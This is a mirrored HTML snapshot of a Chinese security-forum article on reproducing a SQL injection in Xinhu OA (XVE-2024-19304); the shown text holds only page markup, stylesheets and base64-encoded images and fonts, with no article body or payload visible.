mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2025-08-12 19:16:25 +00:00
597 lines
5.4 MiB
HTML
597 lines
5.4 MiB
HTML
|
<!DOCTYPE html> <html style><!--
|
|||
|
|
Page saved with SingleFile
|
|||
|
|
url: https://forum.butian.net/article/561
|
|||
|
|
--><meta charset=utf-8>
|
|||
|
|
<meta http-equiv=X-UA-Compatible content="IE=edge">
|
|||
|
|
<meta name=viewport content="width=device-width, initial-scale=1">
|
|||
|
|
<meta name=csrf-token content=3Pc1iiU7gFPnX4v6YCLymt20lxE5MuCVXQFHbYzN>
|
|||
|
|
<title>信呼OA nickName SQL注入漏洞复现(XVE-2024-19304)</title>
|
|||
|
|
<meta name=keywords content=奇安信,天眼,补天,漏洞,情报,攻防,安全>
|
|||
|
|
<meta name=description content="奇安信攻防社区-信呼OA nickName SQL注入漏洞复现(XVE-2024-19304)">
|
|||
|
|
<meta name=author content="QIANXIN Team">
|
|||
|
|
<meta name=copyright content="2021 QIANXIN.com">
|
|||
|
|
<style>:root{--sf-img-22: /* original URL: https://shs3.b.qianxin.com/attack_forum/2024/08/attach-4ccbd1006f8be33d075e50fd870bc92fca306303.jpeg */ url("data:image/jpeg;base64,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8jWV5nt+v/1qPM9v1/8ArUfWf7y+9/5/1Z+Vz2Hk/wDwF/5+X592avnD2/I0ecPb8jWV5nt+v/1qPM9v1/8ArUfWf7y+9/5/1Z+Vz2Hk/wDwF/5+X592avnD2/I0ecPb8jWV5nt+v/1qPM9v1/8ArUfWf7y+9/5/1Z+Vz2Hk/wDwF/5+X592avnD2/I0ecPb8jWV5nt+v/1qPM9v1/8ArUfWf7y+9/5/1Z+Vz2Hk/wDwF/5+X592avnD2/I0ecPb8jWV5nt+v/1qPM9v1/8ArUfWf7y+9/5/1Z+Vz2Hk/wDwF/5+X592avnD2/I0ecPb8jWV5nt+v/1qPM9v1/8ArUfWf7y+9/5/1Z+Vz2Hk/wDwF/5+X592avnD2/I0ecPb8jWV5nt+v/1qPM9v1/8ArUfWf7y+9/5/1Z+Vz2Hk/wDwF/5+X592avnD2/I0ecPb8jWV5nt+v/1qPM9v1/8ArUfWf7y+9/5/1Z+Vz2Hk/wDwF/5+X592avnD2/I0ecPb8jWV5nt+v/1qPM9v1/8ArUfWf7y+9/5/1Z+Vz2Hk/wDwF/5+X592avnD2/I0ecPb8jWV5nt+v/1qPM9v1/8ArUfWf7y+9/5/1Z+Vz2Hk/wDwF/5+X592avnD2/I0ecPb8jWV5nt+v/1qPM9v1/8ArUfWf7y+9/5/1Z+Vz2Hk/wDwF/5+X592avnD2/I0ecPb8jWV5nt+v/1qPM9v1/8ArUfWf7y+9/5/1Z+Vz2Hk/wDwF/5+X592avnD2/I0ecPb8jWV5nt+v/1qPM9v1/8ArUfWf7y+9/5/1Z+Vz2Hk/wDwF/5+X592avnD2/I0ecPb8jWV5nt+v/1qPM9v1/8ArUfWf7y+9/5/1Z+Vz2Hk/wDwF/5+X592avnD2/I0ecPb8jWV5nt+v/1qPM9v1/8ArUfWf7y+9/5/1Z+Vz2Hk/wDwF/5+X592avnD2/I0ecPb8jWV5nt+v/1qPM9v1/8ArUfWf7y+9/5/1Z+Vz2Hk/wDwF/5+X592avnD2/I0ecPb8jWV5nt+v/1qPM9v1/8ArUfWf7y+9/5/1Z+Vz2Hk/wDwF/5+X592avnD2/I0ecPb8jWV5nt+v/1qPM9v1/8ArUfWf7y+9/5/1Z+Vz2Hk/wDwF/5+X592avnD2/I0ecPb8jWV5nt+v/1qPM9v1/8ArUfWf7y+9/5/1Z+Vz2Hk/wDwF/5+X592avnD2/I0ecPb8jWV5nt+v/1qPM9v1/8ArUfWf7y+9/5/1Z+Vz2Hk/wDwF/5+X592avnD2/I0ecPb8jWV5nt+v/1qPM9v1/8ArUfWf7y+9/5/1Z+Vz2Hk/wDwF/5+X592avnD2/I0ecPb8jWV5nt+v/1qPM9v1/8ArUfWf7y+9/5/1Z+Vz2Hk/wDwF/5+X592avnD2/I0ecPb8jWV5nt+v/1qPM9v1/8ArUfWf7y+9/5/1Z+Vz2Hk/wDwF/5+X592avnD2/I0ecPb8jWV5nt+v/1qPM9v1/8ArUfWf7y+9/5/1Z+Vz2Hk/wDwF/5+
|
|||
|
|
<style>@media (max-width:767px){}</style>
|
|||
|
|
<style>/*!
|
|||
|
|
* Bootstrap v3.4.1 (https://getbootstrap.com/)
|
|||
|
|
* Copyright 2011-2019 Twitter, Inc.
|
|||
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
|
|||
|
|
*//*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}footer,nav{display:block}template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}img{border:0}button,input,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button{text-transform:none}button{-webkit-appearance:button}textarea{overflow:auto}/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */@media print{*,:after,:before{color:#000!important;text-shadow:none!important;background:0 0!important;-webkit-box-shadow:none!important;box-shadow:none!important}a,a:visited{text-decoration:underline}a[href]:after{content:" ("attr(href)")"}a[href^="#"]:after,a[href^="javascript:"]:after{content:""}pre{border:1px solid #999;page-break-inside:avoid}img{page-break-inside:avoid}img{max-width:100%!important}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}.navbar{display:none}}@font-face{font-family:"Glyphicons Halflings";src:/* original URL: https://forum.butian.net/static/css/bootstrap/fonts/glyphicons-halflings-regular.woff2 */url(data:font/woff2;base64,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
|
|||
|
|
<style>/*!
|
|||
|
|
* Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome
|
|||
|
|
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
|
|||
|
|
*/@font-face{font-family:"FontAwesome";src:/* original URL: https://forum.butian.net/static/css/font-awesome/fonts/fontawesome-webfont.woff2?v=4.7.0 */url(data:font/woff2;base64,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
|
|||
|
|
<style>@media (min-width:1200px){.navbar-form{width:235px}}@media (min-width:768px){.navbar-form .form-control{width:100%}}@media (max-width:767px){.global-nav{width:100%;text-align:center;z-index:1000}}@media (max-width:767px){}.global-nav .nav{height:44px;padding:0}.navbar-form .btn{position:absolute;top:8px;right:30px;color:#999;-moz-box-shadow:none;-webkit-box-shadow:none;box-shadow:none}.navbar-form .btn:hover,.navbar-form .btn:focus{color:#777}pre{white-space:pre-wrap}@media (min-width:768px){}@media (min-width:992px){}@media (min-width:1200px){}html{font-size:10px;-webkit-tap-highlight-color:transparent}body{font-family:-apple-system,"Helvetica Neue",Helvetica,Arial,"PingFang SC","Hiragino Sans GB","WenQuanYi Micro Hei","Microsoft Yahei",sans-serif;font-size:14px;line-height:1.5;color:#333;background-color:#f6f6f6;word-break:break-word}button,input,textarea{font-family:inherit;font-size:inherit;line-height:inherit}ul{padding:0}.wrap{padding-bottom:30px;position:relative}.main{background-color:#fff;border-radius:4px}.mb-20{margin-bottom:20px}.mb-50{margin-bottom:50px}.mt-10{margin-top:10px}.mt-15{margin-top:15px}.mt-30{margin-top:30px}.mt-60{margin-top:60px}.ml-10{margin-left:10px}.mr-5{margin-right:5px}.span-line{margin-left:8px;margin-right:8px;color:#999}.logo{float:left;margin:0;display:inline-block;width:150px}.logo a{display:block;height:50px;width:145px;background-image:/* original URL: https://forum.butian.net/css/default/logo.svg */url(data:image/svg+xml;base64,PHN2ZyBpZD0i5Zu+5bGCXzEiIGRhdGEtbmFtZT0i5Zu+5bGCIDEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDQyNi4xMyAxMTEuNDIiPjxkZWZzPjxzdHlsZT4uY2xzLTF7ZmlsbDojZmZmO308L3N0eWxlPjwvZGVmcz48dGl0bGU+5aWH5a6J5L+h5pS76Ziy56S+5Yy6X2xvZ288L3RpdGxlPjxwYXRoIGNsYXNzPSJjbHMtMSIgZD0iTTExMiw1Ny4zM3YtNGgzNy43OHY0aC00LjM5VjcxLjE4cS4wOCw1LjUzLTUuMTksNS40NGgtNC44OXYtNGgyLjM0YzEuMiwwLDEuNzgtLjYyLDEuNzUtMS45M1Y1Ny4zM1ptMS44LTExLjkydi00aDEzLjg1VjM4LjkzaDYuNDh2Mi41MWgxMy45M3Y0SDEzNi4zNXEzLDIuNTEsMTAuOTIsNC4zMXYzLjQ3UTEzNiw1MS42NSwxMzAuODcsNDcuNXEtNS4xLDQuMTQtMTYuMzYsNS42OVY0OS43MmM1LjI1LTEuMiw4Ljg4LTIuNjQsMTAuOTItNC4zMVptMi4wOSwyNy4yOFY1OS43NmgxOS4zN3Y3LjM2Yy4xMSwzLjgzLTEuNjcsNS42OC01LjM1LDUuNTdabTUuNDgtNGg2LjQ1YzEuMzkuMDksMi4wNS0uNjEsMi0yLjA5VjYzLjc4aC04LjQxWiIvPjxwYXRoIGNsYXNzPSJjbHMtMSIgZD0iTTE1My42Nyw1OC43MlY1NC41M2g0LjY5VjUwLjMxaDYuNTJ2NC4yMmgxNS42OVY1MC4zMWg2LjUzdjQuMjJoNC44MXY0LjE5aC01LjA2YTE1LjM2LDE1LjM2LDAsMCwxLTcuNTcsMTEuODgsOTIuNiw5Mi42LDAsMCwwLDEyLjIxLDIuMzR2NHEtMTIuMTMtMS4yNS0xOC43OC0zLjQ3LTYuNTcsMi4yMi0xOC43LDMuNDd2LTRhMTA0LDEwNCwwLDAsMCwxMi4xNy0yLjM0LDE1LjA2LDE1LjA2LDAsMCwxLTcuNTctMTEuODhabTM2LjYxLTE2Ljg2djcuMzZoLTYuMTVWNDZIMTYxLjM3djMuMjJoLTYuMTVWNDEuODZoMTMuODlWMzkuMDloNy4ydjIuNzdaTTE3Mi43NSw2OC4yMXE2LjY5LTMuMTgsNy42MS05LjQ5SDE2NS4wOVExNjUuOTMsNjUsMTcyLjc1LDY4LjIxWiIvPjxwYXRoIGNsYXNzPSJjbHMtMSIgZD0iTTE5OSw3N1Y1Mi43M2EyNywyNywwLDAsMS0zLjQ3LDEuNDNWNTAuMzVhMTcuMiwxNy4yLDAsMCwwLDUuOS0xMWg1LjlhMzIuODYsMzIuODYsMCwwLDEtMi42OCw3LjdWNzdabTcuNzQtMzF2LTRoMTBWMzkuM2g2Ljd2Mi43NmgxMC4xMnY0Wm0xLjM0LDMwLjVWNjIuMjNIMjMxLjd2Ny43cS4xNyw2LjgxLTYuMTUsNi42MVptLjEzLTI0di0zLjhoMjMuNDJ2My44Wm0wLDYuN1Y1NS40MWgyMy40MnYzLjgxWm0xNy44NiwxMC42MlY2Ni4ySDIxMy43MXY2LjMyaDEwLjEyQzIyNS4zOSw3Mi42MywyMjYuMTMsNzEuNzQsMjI2LjA1LDY5Ljg0WiIvPjxwYXRoIGNsYXNzPSJjbHMtMSIgZD0iTTIzNy43Niw0Ni40NnYtNGgxNC40OHY0SDI0OFY2NS4yNGMxLjQyLS4zLDMtLjcxLDQuNzMtMS4yMXY0LjE0YTU1LjQxLDU1LjQxLDAsMCwxLTE1LjE0LDMuNzdWNjYuNzljMS4yNS0uMDgsMi43OC0uMjQsNC42LS40NlY0Ni40NlptMTMuNDMsOC4wN1Y1MC44MXE0LjY5LTQsNS40NC0xMS41NWg2LjExYTMyLjMxLDMyLjMxLDAsMCwxLTEuMDUsNC40NGgxMy43N3Y0aC0zcS0uODQsMTEuODUtNS44NiwxOC4yYTQzLjI2LDQzLjI2LDAsMCwwLDguNDksNi44MnY0LjQ0YTQ5LjQxLDQ5LjQxLDAsMCwxLTEyLTcuNTMsNTIuMTMsNTIuMTMsMCwwLDEtMTIuNjQsNy41N1Y3Mi44MUE0MC4wNyw0MC4wNywwLDAsMCwyNTkuNzMsNjZhMzQuMzgsMzQuMzgsMCwwLDEtNS42MS0xMi44QTIxLjc4LDIxLjc4LDAsMCwxLDI1MS4xOSw1NC41M1ptOC4yNS0zLjcyYTM2LjQsMzYuNCwwLDAsMCwzLjc2LDEwLjVxMi43MS00Ljg5LDMuNDMtMTMuNTZIMjU5LjlhMTUuMSwxNS4xLDAsMCwxLTIuNDcsMy4wNloiLz48cGF0aCBjbGFzcz0iY2xzLTEiIGQ9Ik0yODAuNTYsNzYuOTFWNDAuNjRoMTMuNzN2NGEyNS44NiwyNS44NiwwLDAsMS0yLjY0LDEwLDExLjMyLDExLjMy